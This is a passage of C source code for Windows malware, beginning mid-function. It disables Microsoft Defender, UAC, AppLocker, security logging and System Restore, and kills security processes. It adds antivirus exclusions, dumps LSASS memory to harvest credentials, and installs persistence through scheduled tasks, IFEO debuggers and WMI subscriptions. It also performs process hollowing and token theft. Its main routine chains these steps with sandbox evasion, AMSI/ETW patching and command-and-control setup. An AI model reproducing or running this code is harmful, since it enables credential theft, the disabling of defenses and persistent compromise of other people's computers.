LONG ret = RegSetValueExW(hKey, L"TamperProtection", 0, REG_DWORD, (BYTE*)&zero, sizeof(zero));
|
|
RegCloseKey(hKey);
|
|
return (ret == ERROR_SUCCESS);
|
|
}
|
|
return FALSE;
|
|
}
|
|
|
|
void DisableDefender() {
|
|
STARTUPINFOW si = { sizeof(si) };
|
|
PROCESS_INFORMATION pi;
|
|
LPCWSTR commands[] = {
|
|
L"powershell -Command \"Set-MpPreference -DisableRealtimeMonitoring $true\"",
|
|
L"powershell -Command \"Set-MpPreference -DisableBehaviorMonitoring $true\"",
|
|
L"powershell -Command \"Set-MpPreference -DisableBlockAtFirstSeen $true\"",
|
|
L"powershell -Command \"Set-MpPreference -DisableIOAVProtection $true\"",
|
|
L"powershell -Command \"Set-MpPreference -DisablePrivacyMode $true\"",
|
|
L"powershell -Command \"Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true\"",
|
|
L"powershell -Command \"Set-MpPreference -DisableArchiveScanning $true\"",
|
|
L"powershell -Command \"Set-MpPreference -DisableIntrusionPreventionSystem $true\"",
|
|
L"powershell -Command \"Set-MpPreference -DisableScriptScanning $true\"",
|
|
L"powershell -Command \"Set-MpPreference -DisableCatchupFullScan $true\"",
|
|
L"powershell -Command \"Set-MpPreference -DisableCatchupQuickScan $true\"",
|
|
L"powershell -Command \"Set-MpPreference -MAPSReporting 0\"",
|
|
L"powershell -Command \"Set-MpPreference -CloudBlockLevel 0\"",
|
|
L"powershell -Command \"Set-MpPreference -CloudTimeout 1\"",
|
|
L"powershell -Command \"Set-MpPreference -SubmitSamplesConsent 2\"",
|
|
L"powershell -Command \"Set-MpPreference -PUAProtection 0\"",
|
|
L"powershell -Command \"Set-MpPreference -HighThreatDefaultAction 6 -Force\"",
|
|
L"powershell -Command \"Set-MpPreference -LowThreatDefaultAction 6 -Force\"",
|
|
L"powershell -Command \"Set-MpPreference -ModerateThreatDefaultAction 6 -Force\"",
|
|
L"powershell -Command \"Set-MpPreference -SevereThreatDefaultAction 6 -Force\"",
|
|
L"powershell -Command \"Remove-MpPreference -ExclusionPath C:\\ -ErrorAction SilentlyContinue\""
|
|
};
|
|
for (int i = 0; i < sizeof(commands)/sizeof(commands[0]); i++) {
|
|
CreateProcessW(NULL, (LPWSTR)commands[i], NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
|
if (pi.hProcess) { WaitForSingleObject(pi.hProcess, 1000); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
|
|
}
|
|
SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
|
|
if (scm) {
|
|
SC_HANDLE svc = OpenServiceW(scm, L"WinDefend", SERVICE_STOP | SERVICE_CHANGE_CONFIG);
|
|
if (svc) { SERVICE_STATUS status; ControlService(svc, SERVICE_CONTROL_STOP, &status); ChangeServiceConfigW(svc, SERVICE_NO_CHANGE, SERVICE_DISABLED, SERVICE_NO_CHANGE, NULL, NULL, NULL, NULL, NULL, NULL, NULL); CloseServiceHandle(svc); }
|
|
SC_HANDLE wdNisSvc = OpenServiceW(scm, L"WdNisSvc", SERVICE_STOP | SERVICE_CHANGE_CONFIG);
|
|
if (wdNisSvc) { SERVICE_STATUS status; ControlService(wdNisSvc, SERVICE_CONTROL_STOP, &status); ChangeServiceConfigW(wdNisSvc, SERVICE_NO_CHANGE, SERVICE_DISABLED, SERVICE_NO_CHANGE, NULL, NULL, NULL, NULL, NULL, NULL, NULL); CloseServiceHandle(wdNisSvc); }
|
|
CloseServiceHandle(scm);
|
|
}
|
|
}
|
|
|
|
void KillDefenderProcesses() {
|
|
PROCESSENTRY32W entry = { sizeof(entry) };
|
|
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
if (snapshot == INVALID_HANDLE_VALUE) return;
|
|
LPCWSTR targets[] = { L"MsMpEng.exe", L"NisSrv.exe", L"MpCmdRun.exe", L"SecurityHealthService.exe", L"MsMpEngCP.exe" };
|
|
for (int i = 0; i < 5; i++) {
|
|
if (Process32FirstW(snapshot, &entry)) {
|
|
do {
|
|
if (_wcsicmp(entry.szExeFile, targets[i]) == 0) {
|
|
HANDLE hProc = OpenProcess(PROCESS_TERMINATE, FALSE, entry.th32ProcessID);
|
|
if (hProc) { TerminateProcess(hProc, 0); CloseHandle(hProc); }
|
|
}
|
|
} while (Process32NextW(snapshot, &entry));
|
|
}
|
|
Process32FirstW(snapshot, &entry);
|
|
}
|
|
CloseHandle(snapshot);
|
|
}
|
|
|
|
void DisableUAC() {
|
|
HKEY hKey;
|
|
DWORD zero = 0;
|
|
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
|
|
RegSetValueExW(hKey, L"EnableLUA", 0, REG_DWORD, (BYTE*)&zero, sizeof(zero));
|
|
RegSetValueExW(hKey, L"ConsentPromptBehaviorAdmin", 0, REG_DWORD, (BYTE*)&zero, sizeof(zero));
|
|
RegSetValueExW(hKey, L"PromptOnSecureDesktop", 0, REG_DWORD, (BYTE*)&zero, sizeof(zero));
|
|
RegCloseKey(hKey);
|
|
}
|
|
}
|
|
|
|
void DisableAppLockerWDAC() {
|
|
STARTUPINFOW si = { sizeof(si) };
|
|
PROCESS_INFORMATION pi;
|
|
CreateProcessW(L"C:\\Windows\\System32\\net.exe", L"net stop appidsvc /y", NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
|
if (pi.hProcess) { WaitForSingleObject(pi.hProcess, 5000); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
|
|
SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
|
|
if (scm) {
|
|
SC_HANDLE svc = OpenServiceW(scm, L"AppIDSvc", SERVICE_CHANGE_CONFIG);
|
|
if (svc) { ChangeServiceConfigW(svc, SERVICE_NO_CHANGE, SERVICE_DISABLED, SERVICE_NO_CHANGE, NULL, NULL, NULL, NULL, NULL, NULL, NULL); CloseServiceHandle(svc); }
|
|
CloseServiceHandle(scm);
|
|
}
|
|
DeleteFileW(L"C:\\Windows\\System32\\CodeIntegrity\\SiPolicy.p7b");
|
|
DeleteFileW(L"C:\\Windows\\System32\\CodeIntegrity\\SIPolicy.p7b");
|
|
HKEY hKey;
|
|
DWORD zero = 0;
|
|
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\SystemGuard", 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
|
|
RegSetValueExW(hKey, L"Enabled", 0, REG_DWORD, (BYTE*)&zero, sizeof(zero));
|
|
RegCloseKey(hKey);
|
|
}
|
|
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Policies\\Microsoft\\Windows\\AppLocker", 0, KEY_SET_VALUE | KEY_WOW64_64KEY, &hKey) == ERROR_SUCCESS) {
|
|
RegSetValueExW(hKey, L"Enabled", 0, REG_DWORD, (BYTE*)&zero, sizeof(zero));
|
|
RegCloseKey(hKey);
|
|
}
|
|
}
|
|
|
|
void AddDefenderExclusions() {
|
|
wchar_t exePath[MAX_PATH];
|
|
GetModuleFileNameW(NULL, exePath, MAX_PATH);
|
|
STARTUPINFOW si = { sizeof(si) };
|
|
PROCESS_INFORMATION pi;
|
|
wchar_t cmd[MAX_PATH + 128];
|
|
swprintf(cmd, MAX_PATH + 128, L"powershell -Command \"Add-MpPreference -ExclusionPath '%s'\"", exePath);
|
|
CreateProcessW(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
|
if (pi.hProcess) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
|
|
swprintf(cmd, MAX_PATH + 128, L"powershell -Command \"Add-MpPreference -ExclusionProcess '%s'\"", exePath);
|
|
CreateProcessW(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
|
if (pi.hProcess) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
|
|
swprintf(cmd, MAX_PATH + 128, L"powershell -Command \"Add-MpPreference -ExclusionExtension '.exe'\"");
|
|
CreateProcessW(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
|
if (pi.hProcess) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
|
|
swprintf(cmd, MAX_PATH + 128, L"powershell -Command \"Add-MpPreference -ExclusionPath C:\\\"");
|
|
CreateProcessW(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
|
if (pi.hProcess) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
|
|
}
|
|
|
|
void DisableSecurityLogs() {
|
|
HKEY hKey;
|
|
DWORD enableMiniNt = 1;
|
|
RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\MiniNt", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL);
|
|
RegSetValueExW(hKey, NULL, 0, REG_DWORD, (BYTE*)&enableMiniNt, sizeof(enableMiniNt));
|
|
RegCloseKey(hKey);
|
|
DWORD disableAudit = 1;
|
|
RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SYSTEM\\CurrentControlSet\\Control\\Lsa", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL);
|
|
RegSetValueExW(hKey, L"auditbaseobjects", 0, REG_DWORD, (BYTE*)&disableAudit, sizeof(disableAudit));
|
|
RegCloseKey(hKey);
|
|
}
|
|
|
|
void DisableSystemRestore() {
|
|
STARTUPINFOW si = { sizeof(si) };
|
|
PROCESS_INFORMATION pi;
|
|
CreateProcessW(L"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", L"powershell -Command \"Disable-ComputerRestore -Drive 'C:\\'\"", NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
|
if (pi.hProcess) { WaitForSingleObject(pi.hProcess, 5000); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
|
|
HKEY hKey;
|
|
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Policies\\Microsoft\\Windows NT\\SystemRestore", 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
|
|
DWORD disableSR = 1;
|
|
RegSetValueExW(hKey, L"DisableSR", 0, REG_DWORD, (BYTE*)&disableSR, sizeof(disableSR));
|
|
RegSetValueExW(hKey, L"DisableConfig", 0, REG_DWORD, (BYTE*)&disableSR, sizeof(disableSR));
|
|
RegCloseKey(hKey);
|
|
}
|
|
}
|
|
|
|
void DropTelemetryPackets() {
|
|
STARTUPINFOW si = { sizeof(si) };
|
|
PROCESS_INFORMATION pi;
|
|
LPCWSTR domains[] = {
|
|
L"telemetry.microsoft.com", L"vortex-win.data.microsoft.com",
|
|
L"settings-win.data.microsoft.com", L"watson.telemetry.microsoft.com",
|
|
L"vortex.data.microsoft.com", L"vortex-sandbox.data.microsoft.com",
|
|
L"officeclient.microsoft.com", L"oca.telemetry.microsoft.com"
|
|
};
|
|
for (int i = 0; i < 8; i++) {
|
|
WCHAR cmd[512];
|
|
swprintf(cmd, 512, L"cmd.exe /c \"echo 0.0.0.0 %ls >> %%WINDIR%%\\System32\\drivers\\etc\\hosts\"", domains[i]);
|
|
CreateProcessW(L"C:\\Windows\\System32\\cmd.exe", cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
|
if (pi.hProcess) { WaitForSingleObject(pi.hProcess, 1000); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
|
|
}
|
|
}
|
|
|
|
void DumpLSASS() {
|
|
DWORD lsassPid = 0;
|
|
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
if (snapshot != INVALID_HANDLE_VALUE) {
|
|
PROCESSENTRY32W pe = { sizeof(pe) };
|
|
if (Process32FirstW(snapshot, &pe)) {
|
|
do { if (_wcsicmp(pe.szExeFile, L"lsass.exe") == 0) { lsassPid = pe.th32ProcessID; break; } } while (Process32NextW(snapshot, &pe));
|
|
}
|
|
CloseHandle(snapshot);
|
|
}
|
|
if (lsassPid) {
|
|
EnableDebugPrivilege();
|
|
HANDLE hLsass = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, lsassPid);
|
|
if (hLsass) {
|
|
HANDLE hFile = CreateFileW(L"C:\\lsass.dmp", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_HIDDEN, NULL);
|
|
if (hFile != INVALID_HANDLE_VALUE) { MiniDumpWriteDump(hLsass, lsassPid, hFile, MiniDumpWithFullMemory, NULL, NULL, NULL); CloseHandle(hFile); }
|
|
CloseHandle(hLsass);
|
|
}
|
|
STARTUPINFOW si = { sizeof(si) };
|
|
PROCESS_INFORMATION pi;
|
|
CreateProcessW(L"C:\\Windows\\System32\\cmd.exe", L"cmd.exe /c vssadmin create shadow /for=C: > nul", NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
|
if (pi.hProcess) { WaitForSingleObject(pi.hProcess, 10000); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
|
|
}
|
|
}
|
|
|
|
void StopSecurityServices() {
|
|
const wchar_t* services[] = { L"Sense", L"SgrmBroker", L"WdBoot", L"WdFilter", L"WdNisDrv", L"WinDefend", L"SecurityHealthService", L"wscsvc", L"W3SVC", L"MSExchange", L"MSExchangeDelivery", L"MSExchangeFrontendTransport", L"MSExchangeMailboxReplication", L"MSExchangeSubmission", L"MSExchangeThrottling", L"MicrosoftUpdate", L"BITS", L"wuauserv" };
|
|
SC_HANDLE scm = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS);
|
|
if (!scm) return;
|
|
for (int i = 0; i < sizeof(services)/sizeof(services[0]); i++) {
|
|
SC_HANDLE svc = OpenServiceW(scm, services[i], SERVICE_STOP | SERVICE_QUERY_STATUS);
|
|
if (svc) { SERVICE_STATUS status; ControlService(svc, SERVICE_CONTROL_STOP, &status); ChangeServiceConfigW(svc, SERVICE_NO_CHANGE, SERVICE_DISABLED, SERVICE_NO_CHANGE, NULL, NULL, NULL, NULL, NULL, NULL, NULL); CloseServiceHandle(svc); }
|
|
}
|
|
CloseServiceHandle(scm);
|
|
}
|
|
|
|
void AddPersistence() {
|
|
wchar_t cmd[MAX_PATH];
|
|
GetModuleFileNameW(NULL, cmd, MAX_PATH);
|
|
STARTUPINFOW si = { sizeof(si) };
|
|
PROCESS_INFORMATION pi;
|
|
wchar_t taskCmd[1024];
|
|
swprintf(taskCmd, 1024, L"schtasks /create /tn \"WindowsUpdateTask\" /tr \"%s\" /sc onlogon /ru SYSTEM /f", cmd);
|
|
CreateProcessW(L"C:\\Windows\\System32\\schtasks.exe", taskCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
|
if (pi.hProcess) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
|
|
swprintf(taskCmd, 1024, L"schtasks /create /tn \"MicrosoftUpdateTask\" /tr \"%s\" /sc daily /st 09:00 /ru SYSTEM /f", cmd);
|
|
CreateProcessW(L"C:\\Windows\\System32\\schtasks.exe", taskCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
|
if (pi.hProcess) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
|
|
HKEY hKey;
|
|
if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\svchost.exe", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
|
|
wchar_t debugger[MAX_PATH];
|
|
GetModuleFileNameW(NULL, debugger, MAX_PATH);
|
|
RegSetValueExW(hKey, L"Debugger", 0, REG_SZ, (BYTE*)debugger, (DWORD)(wcslen(debugger) * sizeof(wchar_t)));
|
|
RegCloseKey(hKey);
|
|
}
|
|
if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\explorer.exe", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
|
|
wchar_t debugger[MAX_PATH];
|
|
GetModuleFileNameW(NULL, debugger, MAX_PATH);
|
|
RegSetValueExW(hKey, L"Debugger", 0, REG_SZ, (BYTE*)debugger, (DWORD)(wcslen(debugger) * sizeof(wchar_t)));
|
|
RegCloseKey(hKey);
|
|
}
|
|
if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\svchost.exe", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
|
|
DWORD flags = 0x2;
|
|
RegSetValueExW(hKey, L"MitigationOptions", 0, REG_BINARY, (BYTE*)&flags, sizeof(flags));
|
|
wchar_t monitorPath[MAX_PATH];
|
|
GetModuleFileNameW(NULL, monitorPath, MAX_PATH);
|
|
RegSetValueExW(hKey, L"MonitorProcess", 0, REG_SZ, (BYTE*)monitorPath, (DWORD)(wcslen(monitorPath) * sizeof(wchar_t)));
|
|
RegCloseKey(hKey);
|
|
}
|
|
InstallServicePersistence();
|
|
AddToStartup(cmd);
|
|
}
|
|
|
|
void AddWmiPersistence() {
|
|
wchar_t exePath[MAX_PATH];
|
|
GetModuleFileNameW(NULL, exePath, MAX_PATH);
|
|
wchar_t psCmd[4096];
|
|
swprintf(psCmd, 4096, L"powershell -Command \"$filterArgs=@{Name='StartupFilter';EventNameSpace='root\\cimv2';QueryLanguage='WQL';Query=\\\"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'\\\"}; $filter=Set-WmiInstance -Class __EventFilter -Namespace root\\subscription -Arguments $filterArgs -ErrorAction SilentlyContinue; $consumerArgs=@{Name='StartupConsumer';CommandLineTemplate='%ls'}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\\subscription -Arguments $consumerArgs -ErrorAction SilentlyContinue; $bindingArgs=@{Filter=$filter; Consumer=$consumer}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\\subscription -Arguments $bindingArgs -ErrorAction SilentlyContinue; $filterTimerArgs=@{Name='TimerFilter';EventNameSpace='root\\cimv2';QueryLanguage='WQL';Query=\\\"SELECT * FROM __TimerEvent WHERE TimerID='ChurchTimer'\\\"}; $filterTimer=Set-WmiInstance -Class __EventFilter -Namespace root\\subscription -Arguments $filterTimerArgs -ErrorAction SilentlyContinue; $consumerTimerArgs=@{Name='TimerConsumer';CommandLineTemplate='%ls'}; $consumerTimer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\\subscription -Arguments $consumerTimerArgs -ErrorAction SilentlyContinue; $bindingTimerArgs=@{Filter=$filterTimer; Consumer=$consumerTimer}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\\subscription -Arguments $bindingTimerArgs -ErrorAction SilentlyContinue\"", exePath, exePath);
|
|
STARTUPINFOW si = { sizeof(si) };
|
|
PROCESS_INFORMATION pi;
|
|
CreateProcessW(NULL, psCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
|
|
if (pi.hProcess) { WaitForSingleObject(pi.hProcess, 10000); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
|
|
}
|
|
|
|
// ==================== PROCESS HOLLOWING ====================
|
|
BOOL ProcessHollowing(LPCWSTR targetProcess, LPCWSTR payloadPath) {
|
|
STARTUPINFOW si = { sizeof(si) };
|
|
PROCESS_INFORMATION pi;
|
|
if (!CreateProcessW(targetProcess, NULL, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
|
|
return FALSE;
|
|
HANDLE hFile = CreateFileW(payloadPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
if (hFile == INVALID_HANDLE_VALUE) { TerminateProcess(pi.hProcess, 0); return FALSE; }
|
|
DWORD fileSize = GetFileSize(hFile, NULL);
|
|
BYTE* peData = (BYTE*)malloc(fileSize);
|
|
if (!peData) { CloseHandle(hFile); TerminateProcess(pi.hProcess, 0); return FALSE; }
|
|
DWORD bytesRead;
|
|
ReadFile(hFile, peData, fileSize, &bytesRead, NULL);
|
|
CloseHandle(hFile);
|
|
CONTEXT ctx = { CONTEXT_FULL };
|
|
GetThreadContext(pi.hThread, &ctx);
|
|
NtUnmapViewOfSection(pi.hProcess, (PVOID)ctx.Rdx);
|
|
PVOID imageBase = NULL;
|
|
DWORD_PTR pebAddr = 0;
|
|
NTSTATUS status = NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pebAddr, sizeof(pebAddr), NULL);
|
|
if (status == 0) {
|
|
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)peData;
|
|
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(peData + pDos->e_lfanew);
|
|
imageBase = VirtualAllocEx(pi.hProcess, (LPVOID)pNt->OptionalHeader.ImageBase, pNt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
if (!imageBase) {
|
|
imageBase = VirtualAllocEx(pi.hProcess, NULL, pNt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
|
}
|
|
if (imageBase) {
|
|
WriteProcessMemory(pi.hProcess, imageBase, peData, pNt->OptionalHeader.SizeOfHeaders, NULL);
|
|
for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
|
|
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((BYTE*)pNt + sizeof(IMAGE_NT_HEADERS) + i * sizeof(IMAGE_SECTION_HEADER));
|
|
WriteProcessMemory(pi.hProcess, (LPVOID)((DWORD_PTR)imageBase + pSec->VirtualAddress), peData + pSec->PointerToRawData, pSec->SizeOfRawData, NULL);
|
|
}
|
|
}
|
|
}
|
|
free(peData);
|
|
ResumeThread(pi.hThread);
|
|
CloseHandle(pi.hProcess);
|
|
CloseHandle(pi.hThread);
|
|
return TRUE;
|
|
}
|
|
|
|
// ==================== TOKEN STEALING ====================
|
|
BOOL TokenStealing() {
|
|
DWORD systemPid = 0;
|
|
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
|
if (snapshot != INVALID_HANDLE_VALUE) {
|
|
PROCESSENTRY32W pe = { sizeof(pe) };
|
|
if (Process32FirstW(snapshot, &pe)) {
|
|
do { if (_wcsicmp(pe.szExeFile, L"lsass.exe") == 0) { systemPid = pe.th32ProcessID; break; } } while (Process32NextW(snapshot, &pe));
|
|
}
|
|
CloseHandle(snapshot);
|
|
}
|
|
if (!systemPid) return FALSE;
|
|
EnableDebugPrivilege();
|
|
HANDLE hLsass = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, systemPid);
|
|
if (!hLsass) return FALSE;
|
|
HANDLE hToken;
|
|
if (!OpenProcessToken(hLsass, TOKEN_DUPLICATE | TOKEN_IMPERSONATE, &hToken)) {
|
|
CloseHandle(hLsass);
|
|
return FALSE;
|
|
}
|
|
HANDLE hDupToken;
|
|
if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDupToken)) {
|
|
CloseHandle(hToken);
|
|
CloseHandle(hLsass);
|
|
return FALSE;
|
|
}
|
|
STARTUPINFOW si = { sizeof(si) };
|
|
PROCESS_INFORMATION pi;
|
|
CreateProcessWithTokenW(hDupToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi);
|
|
CloseHandle(hDupToken);
|
|
CloseHandle(hToken);
|
|
CloseHandle(hLsass);
|
|
return TRUE;
|
|
}
|
|
|
|
// ==================== MAIN ====================
|
|
int main() {
|
|
srand((unsigned int)(GetTickCount64() ^ (ULONGLONG)&main));
|
|
InitObfuscatedStrings();
|
|
InitNtFunctions();
|
|
if (!EnsureSingleInstance()) return 0;
|
|
ParseC2Server();
|
|
if (IsSandboxed()) return 0;
|
|
ElevateSelf();
|
|
PatchEtw();
|
|
PatchAmsi();
|
|
EnableDebugPrivilege();
|
|
if (DisableTamperProtection()) Sleep(3000);
|
|
DisableDefender();
|
|
KillDefenderProcesses();
|
|
DisableUAC();
|
|
DisableAppLockerWDAC();
|
|
AddDefenderExclusions();
|
|
DisableSecurityLogs();
|
|
DisableSystemRestore();
|
|
DropTelemetryPackets();
|
|
ClearEventLogs();
|
|
ScrambleMemory();
|
|
AddPersistence();
|
|
AddWmiPersistence();
|
|
InstallBootkitComponents();
|
|
StopSecurityServices();
|
|
DisableFirewall();
|
|
DumpLSASS();
|
|
EnableKernelExecution();
|
|
RunAsPPL();
|
|
TokenStealing();
|
|
NetworkC2Setup();
|
|
HideFile(L"C:\\lsass.dmp");
|
|
return 0;
|
|
} |